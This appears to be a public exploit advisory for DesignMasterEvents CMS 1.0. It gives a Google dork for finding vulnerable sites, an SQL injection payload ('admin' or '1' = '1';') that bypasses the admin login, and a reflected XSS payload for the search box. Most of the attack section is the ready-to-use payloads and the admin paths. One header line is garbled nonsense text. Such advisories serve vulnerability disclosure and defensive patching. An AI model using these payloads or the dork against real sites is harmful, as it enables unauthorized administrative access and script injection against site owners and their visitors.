DesignMasterEvents CMS 1.0 SQL Injection / Cross Site Scripting				
2020.03.30  Credit: thelastvvv (https://cxsecurity.com/author/thelastvvv/1/)				
			Risk: Medium	Local: No Remote: Yes
CVE: N/A	CWE: CWE-89 (https://cxsecurity.com/cwe/CWE-89) CWE-79 (https://cxsecurity.com/cwe/CWE-79)			
Dork: (See Dorks List) intext:"by :Design Master Events"  (https://cxsecurity.com/dorks/)				
# Burnlaid Sidala Davis Nathar Davis Allanda Gardana and Allanda and Allanda Gardana and Allanda a				
# Exploit Title: DesignMasterEvents Conference management CMS SQL Injection Auth Bypass & XSS Vulnerability # Google Dork: intext:"by :Design Master Events"				
# Date: 2020-03-28				

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# Google Dork: intext:"by :Design Master Events"		
# Date: 2020-03-28		
# Exploit Author: @ThelastVvV		
# Vendor Homepage: http://www.designmasterevents.com		
# Version: 1.0		
# Tested on: Ubuntu		
PoC 1:		
Authentication Bypass / SQL Injection		
# Admin Control Panel Paths :		
www.anysite.com/admin/		
www.anysite.com/admin/login.php		
Payload(s)		
USERNAME: admin' or '1' = '1';		
PASSWORD: VVV		
the SQL injection attack has resulted in a bypass of the login, and we are now authenticated as "admin".		
PoC 2 :		
XSS Vulnerability		
Payload(s) :		
In Search box use payload:		
"> <img onerror="prompt(document.domain);" src="x"/>		
www.anysite.com/certificate.php		

See this note in RAW Version (https://cxsecurity.com/ascii/WLB-2020030177)		
T <sub>1</sub> Lul		
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